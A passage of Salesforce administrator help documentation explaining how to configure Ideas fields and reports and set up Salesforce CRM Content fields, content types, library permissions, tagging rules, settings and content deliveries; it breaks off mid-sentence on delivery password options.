To set the layout of a Salesforce CRM Ideas custom field:

Customize Application

When a custom field is created for Salesforce CRM Ideas, that field appears in the Additional Information section at the
bottom of the Post Idea and Idea Detail pages.

1439

Customize

Setting Up Idea Reports

To improve the layout of these pages, you can specify the order in which a custom field appears in the Additional Information
section. You can also remove a custom field from these pages without permanently deleting the field from the system.
To set the layout of a custom Salesforce CRM Ideas field:
1. Click Your Name > Setup > Customize > Ideas > Fields Layout.
2. Click Edit.
3. In the Selected Fields column, select the field you want to move and use the up and down arrows to change the order of
the field in the list.
The Selected Fields column shows the order in which custom fields appear in the Additional Information section on the
Post Idea and Idea Detail pages.
4. To remove a custom field, select the field in the Selected Fields column and click Remove. The field moves to the Available
Fields column and no longer appears on the Post Idea and Idea Detail pages.
5. To be able to assign a status to ideas and display an idea's status to community members, select the Show Status Field
checkbox.
6. Click Save.

See Also:
Customizing Fields
Defining Picklist Values for the Categories and Status Fields

Setting Up Idea Reports


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or update custom report types:

Manage Custom Report Types

To delete custom report types:

Modify All Data

As an administrator, you can create custom report types so users can run and create custom reports about ideas, idea comments,
and votes. Custom report types are the only way to make idea reports available for your usersSalesforce does not provide
sample idea reports or a standard report folder for ideas.
To create a folder of idea reports for your users:
1. Create a custom report type for ideas. For details, see Setting Up Custom Report Types on page 3106.
If you create a custom report type that uses Ideas as the primary object and Votes as the secondary object, child (merged)
ideas will not appear in the report unless you select "A" records may or may not have related "B" records.
Child ideas have no votes because their votes are transferred to the master idea. This means child ideas do not appear in
a report if the Votes object is required.
2. Create a new public folder for idea reports. This step requires the Manage Public Reports permission. For details, see
Creating and Editing Folders on page 1319.

1440

Salesforce CRM Content

Customizing Salesforce CRM Content

3. Using your custom report type, create one or more new custom reports for ideas. Assign the reports to the new idea reports
folder you created. For details, see Creating a Custom Report on page 2970.
After completing these steps, a folder of idea reports will be available to your users on the Reports home page.

See Also:
Ideas Overview
Managing Salesforce CRM Ideas

SALESFORCE CRM CONTENT


Customizing Salesforce CRM Content
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create, edit, or delete content fields:

Manage Content Properties


OR
Manage Salesforce CRM Content

To define or change field validation rules:

Customize Application

To create, edit, or delete content types:

Manage Content Types


OR
Manage Salesforce CRM Content

To create, edit, or delete library permissions:

Manage Content Permissions


OR
Manage Salesforce CRM Content

Modify content settings:

Manage Salesforce CRM Content

Click Your Name > Setup > Customize > Salesforce CRM Content to access the following options for customizing Salesforce
CRM Content:
Tip: To perform the initial set up of Salesforce CRM Content for your organization, see Setting Up Salesforce CRM
Content on page 1443.

1441

Customize

Customizing Salesforce CRM Content

Content FieldsCreate, edit, or delete custom content fields. Custom fields allow users to categorize and define content
during the publishing process.
Validation RulesCreate, edit, or delete validation rules. Validation rules verify that the data a user enters when publishing
content meets the standards you specify before the user can save the content.
Content TypesCreate, edit, or delete the content type where content fields are assigned. The content type determines
the layout of fields in Salesforce CRM Content.
Library PermissionsCreate, edit, or delete library permissions. A library permission determines user privileges within
a library.
SettingsModify Salesforce CRM Content default settings for multi-language support, PDF downloads, content pack
creation, or the enhanced document viewer.

To create, edit, or delete libraries, assign a new user to a library, or change a user's role in a library, see Managing Libraries
on page 294.

See Also:
Creating Libraries
Salesforce CRM Content Overview

1442

Customize

Setting Up Salesforce CRM Content

Setting Up Salesforce CRM Content


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create, edit, or delete library permissions:

Manage Content Permissions


OR
Manage Salesforce CRM Content

To create, edit, or delete content types:

Manage Content Types


OR
Manage Salesforce CRM Content

To create content fields:

Manage Content Properties


OR
Manage Salesforce CRM Content

To create libraries:

Create Libraries
OR
Manage Salesforce CRM Content

To edit or delete libraries:

Manage Salesforce CRM Content

Tip:
For more detailed information about setting up Salesforce CRM Content, refer to the Salesforce CRM Content
Implementation Guide.
To set up Salesforce CRM Content for your organization:
1. Enable Salesforce CRM Content by clicking Your Name > Setup > Customize > Salesforce CRM Content > Settings
and selecting Enable Salesforce CRM Content.
2. Give users access to Salesforce CRM Content by assigning feature licenses in one of the following ways:

To assign feature licenses to users automatically, click Your Name > Setup > Customize > Salesforce CRM Content
> Settings and select Autoassign feature licenses to existing and new users.
To assign feature licenses to users manually, click Your Name > Setup > Manage Users > Users and click Edit next
to the user's name. Select the Salesforce CRM Content User checkbox and click Save.

3. Verify that the Salesforce CRM Content users have the Salesforce CRM Content user permissions enabled. The user
permissions include Manage Salesforce CRM Content, Create Libraries, Manage Content Permissions, Manage
Content Properties, Manage Content Types, and Deliver Uploaded Files and Personal Content.
For more information about these user permissions, see User Permissions on page 567.

1443

Customize

Setting Up Salesforce CRM Content

Note: Users with the Deliver Uploaded Files and Personal Content user permission can create content deliveries
from personal libraries. This user permission does not affect the ability to deliver content from shared libraries.
4. Optionally, create a public group with a set of Salesforce CRM Content users. You can save time later by assigning the
group to a library rather than assigning several users to the same library individually. See Creating and Editing Groups on
page 590.
5. Optionally, create one or more library permissions. Library permissions are the groups of privileges that determine user
access within a library. Every user must be assigned a library permission before he or she can use a library. All new
organizations contain three library permissions: library administrator, author, and viewer. For more information, see
Managing Library Permissions on page 1451.
6. Use the New Library Wizard to create a library, add members to the library, and assign library permissions to the members.
See Creating Libraries on page 1458.
7. Categorize and define your content:
a. Create content fields. These are custom fields that you assign to a content type. The default fields are Description,
Tags, and Title. If you want to create a field named, for example, Reviewed By, your custom content field would
be a picklist with the names of possible reviewers. See Customizing Content Fields on page 1445.
b. Create a custom content type or modify the General content type. Content types are the containers for custom fields;
they determine which fields are available during the publishing process and how the fields display on the content details
page. You can create multiple content types and assign a content field to any or all content types. For example, if sales
and marketing users need to record different information about their content, you can create Sales and Marketing
content types. If you create a Related Campaign lookup field and add it to the Marketing content type only, users
who select the Sales content type during the upload process will not have the option to choose a campaign. See Setting
Content Types on page 1447.
8. Optionally, enable the Add Google Doc to Salesforce service so library members can contribute Google docs to Salesforce
CRM Content. See Activating Google Docs in Salesforce on page 331.
To customize Salesforce CRM Content after initial configuration, such as adding new content fields or editing library
permissions, see Customizing Salesforce CRM Content on page 1441.

See Also:
Customizing Content Fields
Setting Content Types
Managing Library Permissions

1444

Customize

Customizing Content Fields

Customizing Content Fields


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create, edit, or delete custom fields:

Manage Salesforce CRM Content


OR
Manage Content Properties

Click Your Name > Setup > Customize > Salesforce CRM Content > Fields to create, modify, and delete Salesforce CRM
Content custom fields for categorizing and defining your content. The data assigned to these fields during upload is available
on the content details page for the life of the file. After creating custom content fields, you must assign them to a content type.
The content type determines which fields appear when a user uploads or revises files in Salesforce CRM Content. For more
information, see Setting Content Types on page 1447.
To create a custom content field:
1. Click New in the Custom Fields & Relationships related list.
If you need to create dependent fields, see Defining Dependent Picklists on page 1066.
2. Choose the type of field to create, and click Next.
Note:

Some data types are only available for certain configurations. For example, the Master-Detail Relationship
option is available only for custom objects when the custom object does not already have a master-detail
relationship. Also, custom settings only allow a subset of the available data types.
Relationship fields count towards custom field limits.
Field types not listed in custom field types may appear if your organization installed a package from the
AppExchange that uses those custom field types.
The Roll-Up Summary option is only available on certain objects.
Field types correspond to API data types. For more information, see API Data Types and API Field Types
in the SOAP API Developer's Guide.

3. For relationship fields, choose the object that you want to associate with it.
4. Enter a field label.
The Field Name is automatically populated based on the field label you enter. This name can contain only underscores
and alphanumeric characters, and must be unique in your organization. It must begin with a letter, not include spaces, not
end with an underscore, and not contain two consecutive underscores. Use the field name for merge fields in custom links,
custom s-controls, and when referencing the field from the API. For more information, see Guidelines for Using Merge
Fields on page 460.

1445

Customize

Customizing Content Fields

Tip:
Ensure that both the custom field name and label are not identical to the name and label of any existing standard
or custom field for that object. Identical values may result in unexpected behavior when you reference that name
in a merge field.

If a standard field and custom field have matching names or labels, the merge field displays the value of the
custom field.
If two custom fields have matching names or labels, the merge field may not display the value of the field you
expect.

For example, if you create a field label called Email, the field name automatically populates as Email__c. If you
also have a standard field with the label Email, the merge field may not be able to distinguish between the standard
and custom field names. Make both the custom field name and label unique by adding a character to each, such
as Email2 and Email2__c, respectively.
5. Choose the content type that should display the field as an editable field.
6. For relationship fields, choose whether to create a related list that displays information about the associated records. You
can choose to put the related list on any page layouts for that object.
To change the label of the custom related list as it will appear on the page layouts of the associated object, edit the Related
List Label.
To add the new related list to page layouts that users have already customized, check Append related list to
users existing personal customizations.
Click Edit or Del in the Content Custom Fields & Relationships related list to edit or delete a custom content field. You
cannot edit or delete the standard content fields. Deleted custom fields and their data are stored until your organization
permanently deletes them or 15 days has elapsed, whichever happens first. Until that time, you can restore the field and its
data. For information on restoring deleted custom fields and relationships, see Managing Deleted Custom Fields on page 1105.

See Also:
Setting Content Types
Customizing Salesforce CRM Content

1446

Content Types

Setting Content Types

CONTENT TYPES
Setting Content Types
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create, edit, or delete content types:

Manage Content Types


OR
Manage Salesforce CRM Content

Content types are the containers for custom fields in Salesforce CRM Content; content types determine which fields are
available during the publishing process and how the fields display on the content details page. If multiple content types are
available in a library, users select a content type after contributing files, content packs, Google docs, or Web links.
To work with content types, click Your Name > Setup > Customize > Salesforce CRM Content > Content Types. You
can:

Click New to create content types; see Creating Content Types on page 1448.
Click Edit to edit content types; see Editing Content Types on page 1449.
Click Del to delete a content type.
Click picklists to modify the picklists on any content type. Picklists are customized selection lists that allow users to pick
values from a predefined list of entries.

When editing a library, you can choose which content types are visible to library contributors. For more information, see
Restricting Content Types on page 1461.

See Also:
Customizing Content Fields
Customizing Salesforce CRM Content

1447

Customize

Creating Content Types

Creating Content Types


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create content types:

Manage Content Types


OR
Manage Salesforce Content

Content types are the containers for custom fields in Salesforce CRM Content; content types determine which fields are
available during the publishing process and how the fields display on the content details page. If multiple content types are
available in a library, users select a content type after contributing files, content packs, Google docs, or Web links.
To create a new content type:
1. Click Your Name > Setup > Customize > Salesforce Content > Content Types.
2. Click the New button, and then optionally choose a content type to copy.
Alternatively, select an existing content type from the list of content types, and then click the Clone button.
3. Enter a name for the new content type.
4. Click Save.
For instructions on modifying the content type, see Editing Content Types on page 1449.
Note: When editing a library, you can choose which content types are visible to library contributors. For more
information, see Restricting Content Types on page 1461.

See Also:
Setting Content Types
Customizing Content Fields

1448

Customize

Editing Content Types

Editing Content Types


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To edit content types:

Manage Content Types


OR
Manage Salesforce Content

Content types control the organization and visibility of fields on Salesforce CRM Content upload and detail pages.
To edit a content type:
1. Click Your Name > Setup > Customize > Salesforce CRM Content > Content Types.
2. Identify the content type you want to modify and click Edit.
3. To arrange fields on the content type, select one or more fields from the box on the right and drag them to the desired
location.

Use CTRL+click to select multiple items individually.


Use SHIFT+click to select multiple items as a group.
Items that are not in the content type are displayed in the scrolling box on the right-hand side.
Note: Use the legend to determine what fields are required, dependent, controlling, or have other attributes that
may affect your content type decisions.

4. To make a field required, double-click the field name in the box on the left and click the Required checkbox.
Note: Even though the Read Only option appears, Salesforce CRM Content fields cannot be read only.

5. Click Save to finish. Alternatively, click Quick Save to save and continue editing the content type.

See Also:
Setting Content Types
Creating Content Types

1449

Customize

Customizing Content Picklists

Customizing Content Picklists


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or change picklists:

Customize Application

Content types are the containers for custom fields in Salesforce CRM Content; content types determine which fields are
available during the publishing process and how the fields display on the content details page. A picklist is a customized
selection list that allows users to pick values from a predefined list of entries. To create a new picklist, see Customizing Content
Fields on page 1445. To modify the picklists available on content types:
1. Go to Your Name > Setup > Customize > Salesforce CRM Content > Content Types and click the picklists link.
2. Select a content type and click Edit next to one of the picklist fields to customize the values included for the content type.
3. Add any values from the Available Values box or remove any values from the Selected Values box. Users will be able to
choose from the list of selected values when publishing content or editing content details.
4. Optionally, choose a default picklist value. Some picklists require a default value. The default value in a dependent picklist
is ignored.
5. Click Save.
Note: The master picklist, the complete list of values in a picklist, is independent of all content types. If you add a
picklist value to the master picklist, you must manually include the new value in the appropriate content types. If you
remove a picklist value from the master, it is no longer available when publishing new content; however, existing
content assigned to that value is unchanged.

See Also:
Setting Content Types
Editing Content Types
Customizing Content Fields

1450

Libraries

Managing Library Permissions

LIBRARIES
Managing Library Permissions
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create, edit, or delete library permissions:

Manage Salesforce CRM Content


OR
Manage Content Permissions

Click Your Name > Setup > Customize > Salesforce CRM Content > Content Permissions to manage library permissions.
A library permission is a group of privileges assigned to each Salesforce CRM Content library member. It determines which
tasks a member can perform in a particular library. The same user can have a different library permission in each of his or her
libraries.
Note: If your Salesforce CRM Content organization was created after the Spring '09 release, your organization already
has three library permissions: Library Administrator, Author, and Viewer.
To create a custom library permission, click the Add Library Permissions button. To edit a library permission, click Edit next
to the library permission name. To delete a library permission, click Del next to the library permission name.
Note: Library permissions do not apply to personal libraries. All Salesforce CRM Content users can save files in their
personal libraries.

See Also:
Customizing Salesforce CRM Content
Setting Up Salesforce CRM Content

1451

Customize

Creating Library Permissions

Creating Library Permissions


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create library permissions:

Manage Salesforce CRM Content


OR
Manage Content Permissions

To create a library permission in Salesforce CRM Content, click Your Name > Setup > Customize > Salesforce CRM
Content > Content Permissions and click Add Library Permissions.
Tip: If your Salesforce CRM Content organization was created after the Spring '09 release, your organization already
has Viewer, Author, and Library Administrator library permissions. If not, consider creating them. These three library
permissions provide the different levels of library access required for most organizations. For the Viewer library
permission, select the View Comments and Add Comments library privileges. For the Author library permission,
select the Add Content, Add Content on Behalf of Others, Archive Content, Add Comment, and Tag
Content library privileges. For the Library Administrator permission, select the Manage Library privilege.
1. Assign a name to the library permission.
2. Optionally, enter a description of the library permission. If your organization has several library permissions, consider
describing each by its function or with a summary of its privileges. For example, for a Marketing Reviewer permission
you might include a description that reads, Reviews all content used in outbound marketing campaigns or This user can
view and comment on documents.
3. In the Permissions section, select the checkboxes that correspond to the privileges you want to grant to users with this
library permission.
Library Privilege

Description

Manage Library

Perform any action in the library. This privilege is required


to edit the libraries' name and description, add or remove
library members, or delete a library.
Creating a new library requires the Manage Salesforce CRM
Content or Create Libraries user permissions.

Add Content

Publish new content to the library, upload new content


versions, or restore archived (deleted) content. Content
authors can also change any tags associated with their content
and archive or delete their own content.

Add Content on Behalf of Others

Choose an author when publishing content in the library.

Archive Content

Archive and restore any content in the library.

1452

Customize

Editing Library Permissions

Library Privilege

Description

Delete Content

Delete any content in the library. Authors can undelete their


own content from the Recycle Bin.

Feature Content

Identify any content in the library as featured.

View Comments

Read comments posted to any content in the library.

Add Comments

Post comments to any content in the library and view all


comments in the library. Users can edit or delete their own
comments.

Modify Comments

Edit or delete comments made to any content in the library.

Tag Content

Add tags when publishing content or editing content details


in the library.

Deliver Content

Create a content delivery using any files in the library.

Attach or Share Content within Chatter

Make content from this library accessible in Chatter. Within


Chatter, select a file from the library and attach it to a post
or share it.

4. Click Save.

See Also:
Managing Library Permissions
Deleting, Archiving, and Restoring Content
Customizing Salesforce CRM Content

Editing Library Permissions


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To edit library permissions:

Manage Salesforce CRM Content


OR
Manage Content Permissions

To edit a Salesforce CRM Content library permission, click Your Name > Setup > Customize > Salesforce CRM Content
> Content Permissions and click Edit next to the appropriate permission.
1. Assign a name to the library permission.

1453

Customize

Editing Library Permissions

2. Optionally, enter a description of the library permission. If your organization has several library permissions, consider
describing each by its function or with a summary of its privileges. For example, for a Marketing Reviewer permission
you might include a description that reads, Reviews all content used in outbound marketing campaigns or This user can
view and comment on documents.
3. In the Permissions section, select the checkboxes that correspond to the privileges you want to grant to users with this
library permission.
Library Privilege

Description

Manage Library

Perform any action in the library. This privilege is required


to edit the libraries' name and description, add or remove
library members, or delete a library.
Creating a new library requires the Manage Salesforce CRM
Content or Create Libraries user permissions.

Add Content

Publish new content to the library, upload new content


versions, or restore archived (deleted) content. Content
authors can also change any tags associated with their content
and archive or delete their own content.

Add Content on Behalf of Others

Choose an author when publishing content in the library.

Archive Content

Archive and restore any content in the library.

Delete Content

Delete any content in the library. Authors can undelete their


own content from the Recycle Bin.

Feature Content

Identify any content in the library as featured.

View Comments

Read comments posted to any content in the library.

Add Comments

Post comments to any content in the library and view all


comments in the library. Users can edit or delete their own
comments.

Modify Comments

Edit or delete comments made to any content in the library.

Tag Content

Add tags when publishing content or editing content details


in the library.

Deliver Content

Create a content delivery using any files in the library.

Attach or Share Content within Chatter

Make content from this library accessible in Chatter. Within


Chatter, select a file from the library and attach it to a post
or share it.

4. Click Save.

See Also:
Creating Library Permissions
Deleting, Archiving, and Restoring Content
Customizing Salesforce CRM Content

1454

Customize

Deleting Library Permissions

Deleting Library Permissions


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To delete library permissions:

Manage Salesforce CRM Content


OR
Manage Content Permissions

To delete a customized library permission for Salesforce CRM Content:


1. Click Your Name > Setup > Customize > Salesforce CRM Content > Content Permissions.
2. Click Del next to the appropriate permission.
3. Review the list of affected users. The delete page shows all Salesforce CRM Content users who are assigned to the library
permission in a particular library. If you delete the library permission, the user will lose access to that library.
4. Click Delete Permission to confirm.
To assign a new library permission to a library member, see Viewing and Editing Libraries on page 296.

See Also:
Managing Library Permissions
Creating Library Permissions
Customizing Salesforce CRM Content

Customizing Content Settings


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To modify Salesforce CRM Content settings:

Manage Salesforce CRM Content

Click Your Name > Setup > Customize > Salesforce CRM Content > Settings to modify the defaults for your Salesforce
CRM Content organization:
Enable Salesforce CRM Content
If this option is checked, Salesforce CRM Content is enabled for your organization.

1455

Customize

Customizing Content Settings

Autoassign feature licenses to existing and new users


If this option is checked, Salesforce.com automatically attempts to assign Salesforce CRM Content feature licenses to
all existing users. If there aren't enough licenses available, no licenses are assigned. Contact salesforce.com to request
additional feature licenses. When a new user is created, a Salesforce CRM Content feature license is automatically
assigned as long as licenses are available. A feature license corresponds to the Salesforce CRM Content User
checkbox on the user detail page.
Enable multilanguage search and contribute
If this option is checked, a Language drop-down list is available when users publish, edit, or search for content. The
Language drop-down list contains all languages that Salesforce supports.
If a user does not choose a language when publishing content, that content is associated with the user's personal language
by default. If the user's personal language setting is different from the organization's language, content published by that
user is associated with the user's language, not the organization's language.
Do not open PDFs in a separate window
If this option is checked, downloaded PDFs open inline. If it is not checked, downloaded PDFs open in a separate
window. To download a PDF file:

Open the document's content details page and click Download.


On the Content tab, hover over the PDF icon and click Download in the popup window.
On the Content tab, select the PDF's checkbox and click Download.

Enable content pack creation


If this option is checked, the Create New > Content Pack option displays on the Libraries tab and users can create
content packs from any documents or files in their Salesforce CRM Content private or public libraries.
If this option is not checked after users in your organization have already created content packs, those packs are not
deleted and users can continue to modify metadata such as description, title, and custom fields. However, once content
pack creation is no longer enabled, users cannot customize or modify existing packs. Specifically, the Clone & Customize
button and the Edit > Edit Content Pack option on the content details page are unavailable.
Enable enhanced document viewer
If this option is checked, an enhanced set of navigation and customization options are available for the document viewer.
The document viewer allows users to preview a document without downloading, whether the document be a content
delivery sent to a lead, prospect, or colleague, a document viewed internally in Salesforce CRM Content, or a file in
Chatter. The document viewer has three modes: the Preview tab on the content details page (preview mode), the content
delivery URL (delivery mode), and full screen mode, which displays when you click the full-screen option on the content
details page or in a content delivery. In Chatter, users can preview files in feeds, on file lists, and on the Files tab. The
Enhanced document viewer setting provides the following capabilities to users who are viewing documents:

In addition to using the next page ( ), previous page ( ), first page ( ), and last page ( ) icons on the document
toolbar, you can navigate page-by-page through a document by right-clicking and choosing Next Page and Previous
Page. The right-click menu is not available in preview mode.
You can jump directly to a page by entering the page number and clicking Enter. This option is not available in
full-screen mode.

1456

Customize

Customizing Content Settings

From the right-click menu you can choose the Fit Width option to expand the width of the document or the Fit

Full Page option to view the whole page of the document. The fit width icon ( ) and fit full page icon ( ) are
also available on the toolbar.
From the right-click menu you can choose the Full Screen option to view the document in full screen mode or the
Exit option to exit full screen mode. The full screen icon (

) and exit icon (

) are also available on the toolbar.

From the right-click menu you can Zoom In or Zoom Out. The zoom-in icon ( ) and zoom-out icon ( ) are
also available on the toolbar.
You can use the scroll bar to move continuously through a document without needing to click the Next Page and
Previous Page icons. Continuous scrolling is not available in preview mode or for PowerPoint documents in any
mode.
You can use the keyboard arrow keys to navigate page-by-page through a document. Click on the document viewer
and use the keys as follows:
Right-arrow key: moves a PowerPoint document forward one slide and moves a PDF, Word, or Excel document
forward one page.
Left-arrow key: moves a PowerPoint document backward one slide and moves a PDF, Word, or Excel document
backward one page.
Up-arrow key: moves a PowerPoint document forward one slide and scrolls a PDF, Word, or Excel document
up the page.
Down-arrow key: moves a PowerPoint document backward one slide and scrolls a PDF, Word, or Excel document
down the page.
Navigating with keyboard-arrow keys is not available in preview mode.

Enable Office 2007 previews in ContentPilot


If this option is checked, Microsoft Office 2007 files, including PowerPoint, Word, and Excel can be previewed in their
entirety in Salesforce CRM Content and Chatter. In Salesforce CRM Content you do not need to download a large
document to determine if its content is relevant to you. The content details page provides document details at a glance,
including document title, author, description, tags, libraries, comments, votes, versions, subscribers, and downloads. If
the document is a Microsoft PowerPoint, Word, Excel, or Adobe PDF file, you can preview the entire file in your
browser without downloading it. Some Microsoft Office 2007 features don't display correctly in previews. Copy-protected
PDFs can't be previewed.
You can also preview files in Chatter feeds, from the Files tab, from a file detail page, and from group and profile file
lists.
Note: If this option is unchecked after Office 2007 previews have been generated, those previews will no longer
be available.

Show Chatter files in Salesforce CRM Content


If this option is checked, searches in Salesforce CRM Content include files from Chatter. The search drop-down list
on the Content and Libraries tabs, and the filters on the Content tab include All Files, Chatter Files, and My Chatter
Groups.

1457

Customize

Creating Libraries

If this option is not checked, searches in Salesforce CRM Content don't include files from Chatter. The search drop-down
list on the Content and Libraries tabs, and the filters on the Content tab include All Libraries, Personal Library, and
any shared libraries the user is a member of.

See Also:
Customizing Salesforce CRM Content
Uploading and Publishing Content
Viewing and Editing Content Details
Searching for Content

Creating Libraries
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create libraries:

Manage Salesforce CRM Content


OR
Create Libraries

To add members to a library:

Manage Salesforce CRM Content


OR
Manage Library checked in your library permission

definition
To assign library permissions to members:

Manage Salesforce CRM Content


OR
Manage Library checked in your library permission

definition

Adding a new library in Salesforce CRM Content includes creating the library name and description, adding members to the
library, and assigning library permissions that determine each member's privileges within the library. The maximum number
of libraries allowed in a single organization is 2,000.
Step 1: Creating a New Library
1.
2.
3.
4.

Click New in the My Libraries section of the Libraries tab home page.
Enter a name for the library. Each library in your organization must have a unique name.
Optionally, enter a description for the library.
Click the Save and Add Members button or, if you want to add members later, click the Save and Close button.

1458

Customize

Assigning Library Tagging Rules

Step 2: Adding Library Members


1. If you do not immediately see the member you want to add, enter keywords in the search box and click Find.
2. Select members from the Available Members box. Members can include individual Salesforce CRM Content users or
public groups containing Salesforce CRM Content users.
Tip: If you have a large number of Salesforce CRM Content users, create a public group and add the group to a
library rather than adding users to the library individually.
3. Click Add to add the members to the library.
4. Click Next.
Step 3: Assigning Library Permissions to Members
Select a library permission for each user or public group and click Save. For more information, see Managing Library Permissions
on page 1451.

See Also:
Managing Libraries
Viewing and Editing Libraries
Salesforce CRM Content Overview

Assigning Library Tagging Rules


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To assign a tagging rule to a library:

Manage Salesforce CRM Content


OR
Manage Libraries checked in your library permission

definition

In Salesforce CRM Content, tags are descriptive labels that help classify and organize content. Contributors can assign tags
to their files, content packs, Google docs, or Web links, thus enabling all library members to browse for content by tag. The
tagging rule in a library determines how contributors can tag content; for example, the restricted-tagging rule does not allow
contributors to create new tags. Library tagging rules are optional. By default, library contributors can enter any tag.
To assign a tagging rule to a library:
1. On the Libraries tab, select a library from the My Libraries area.
2. Click Tagging Rules and choose one of the following options:

1459

Customize

Assigning Library Tagging Rules

Library Tagging Rule

Description

Open Tagging

This rule places no restrictions on tagging. Contributors can


enter any tag when publishing or editing content. While a
tag is typed, Salesforce CRM Content autosuggests tags
based on the contributor's recently used tags and the Popular
Tags list.

Guided Tagging

This rule also enables contributors to enter any tag when


publishing or editing content, but contributors are also
offered a list of suggested tags. If you select Guided Tagging,
the next step prompts you to enter the suggested tags that
you want to recommend to library contributors.

Restricted Tagging

This rule requires contributors to choose from the list of


suggested tags. If you select Restricted Tagging, the next
step prompts you to enter the list of suggested tags.

3. If you chose Guided Tagging or Restricted Tagging, click the link for auto-populating the Suggested Tags field and
then edit, add, or remove tags as needed. If you do not auto-populate the Suggested Tags field, any new tags you enter
in the field are added to the existing list of suggested tags in the library.
4. Click Save.
Notes on Library Tagging Rules

Open Tagging is the default tagging rule.

If you publish, share, or move content to a library that uses restricted tags, you will receive an error if your content contains
unsupported tags.
When you share content from one library to another, the most restrictive tagging rule applies. For example:
When content is shared between a restricted-tagging library and a guided- or restricted-tagging library, you can only
choose tags that are common to both libraries.
When content is shared between an open tagging library and a restricted-tagging library, you can only choose tags
suggested in the restricted-tagging library.

If a restricted tagging rule is applied after content has already been published in the library and the existing content contains
tags that are no longer permitted by the rule, the tags remain assigned to the content until it is edited or revised. For
example, if the Q3Forecast document has a market indicators tag and market indicators is not a suggested
tag according to the new restricted-tagging rule, market indicators is removed from Q3Forecast only when a user
publishes a new version of the file or edits the file's tags on the content details page.
Avoid using too many tags. The search engine helps users find specific content, whereas tags enable users to browse and
subscribe. Therefore, excessive tagging creates unnecessary clutter.
You can't change or delete tag names. You can remove tags from a document, but that doesn't delete the tag.
Tags are case insensitive. You can't have two tags with the same name even if they use different upper and lowercase letters.
The case of the original tag is always used.

See Also:
Viewing and Editing Libraries
Creating Libraries

1460

Customize

Restricting Content Types

Restricting Content Types


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To restrict content types:

Manage Content Types


OR
Manage Salesforce CRM Content

Content types are the containers for custom fields in Salesforce CRM Content; content types determine which fields are
available during the publishing process and how the fields display on the content details page. If multiple content types are
available in a library, users select a content type after contributing files, content packs, Google docs, or Web links. Administrators
can create content types in Setup and then choose which content types are available in a particular library. Administrators can
also choose the default content type for a library.
To restrict the content types available in a library:
1.
2.
3.
4.
5.

On the Libraries tab, select a library from the My Libraries area.


Click Content Types.
Optionally, change the default content type for the library.
Select the Restrict the content types available in the library checkbox.
Select one or both of the following options:

Allow content with any content type to be linked to this librarySelect this option if you

want to enable content published in other libraries to be shared to the library where you have restricted content types.
The content in other libraries can be shared regardless of the content types used.
Do not apply content type restrictions to existing contentSelect this option if you do not want
to receive warnings regarding existing content in the library. You will not be alerted if existing content uses content
types that you exclude from the library. This option refers to notifications only; existing content is not affected by
restricted content types.

6. For each content type that you want to allow in the library, move it from the Available Content Types list to the Selected
Content Types list.
7. Click Save.
Notes on Restricting Content Types

If the library already contains published content, selecting the Restrict the content types available in the
library option automatically moves all the content types used by the published content to the Selected Content Types
list.
Deselecting the Restrict the content types available in the library option automatically moves any
content types in the Selected Content Types list to the Available Content Types list.
If you restrict content types, the default content type must be added to the Selected Content Types list.
When changing a file's managing library, the file's content type must be permitted in the new managing library.

1461

Customize

Setting up Content Deliveries

When sharing a file into a library, the file's content type must be permitted in the shared library unless the Allow content
with any content type to be linked to this library option is selected for the shared library.

See Also:
Viewing and Editing Libraries
Setting Content Types
Creating Libraries

Setting up Content Deliveries


Available in: All Editions except Database.com

User Permissions Needed


To enable or disable content deliveries:

Customize Application

A content delivery allows you to easily convert documents such as Microsoft PowerPoint and Word files into an optimized
web-based version for easy online viewing. Once you create your delivery, you can send its encrypted URL to any recipient,
such as leads, customers, partners, and colleagues, and then track how often the content is viewed or downloaded. In addition
to tracking, content deliveries provide several benefits over sending files as attachments, such as giving you control over how
long the delivery is available to viewers and whether a viewer can download a file or see it online only. Content deliveries can
be created from the Content Deliveries related list on most Salesforce objects. Salesforce CRM Content users can also create
a content delivery from the content details page or the Related Content related list.
To enable or disable content deliveries for your organization:
1. Click Your Name > Setup > Customize > Content Deliveries > Settings and select or deselect the Enable content
deliveries checkbox. If you dont have access to the Content Delivery feature, contact Salesforce Customer Support
to activate it.
2. To let users create and share links to Chatter files, click Enable Chatter file links. For more information, see
Sharing Files via Link on page 2432.
3. To let recipients of content deliveries preview Office 2007 files:
a.
b.
c.
d.

Click Your Name > Setup > Customize > Salesforce CRM Content > Settings.
Click Enable Office 2007 previews in content.
Click Your Name > Setup > Customize > Content Deliveries > Settings.
Click Enable recipients to preview Office 2007 content deliveries.

Some Microsoft Office 2007 features don't display correctly in previews.


4. Choose a default option for content-delivery passwords. Because content-delivery URLs can be sent to leads, customers,
or any unauthenticated user, salesforce.com, inc. recommends requiring password protection if your users will send
confidential documents via content delivery. The options below allow you to select an organization-wide default for
content-delivery password protection.

1462

Customize

Setting up Content Deliveries

Password protection is optional and defaults to OFFIf this option is selected, users can choose to require a password
when they create a content delivery, but the Require Password to Access Content field on the create-delivery
wizard is not checked by default.
Password protection is optional and defaults to ONIf this option is selected, the Require Password to Access
Content field on the create delivery wizard is checked by default. Users can uncheck the option if they do not want
to require a password.
Password protection is requiredIf this option is selected, a password is generated each time a content delivery is
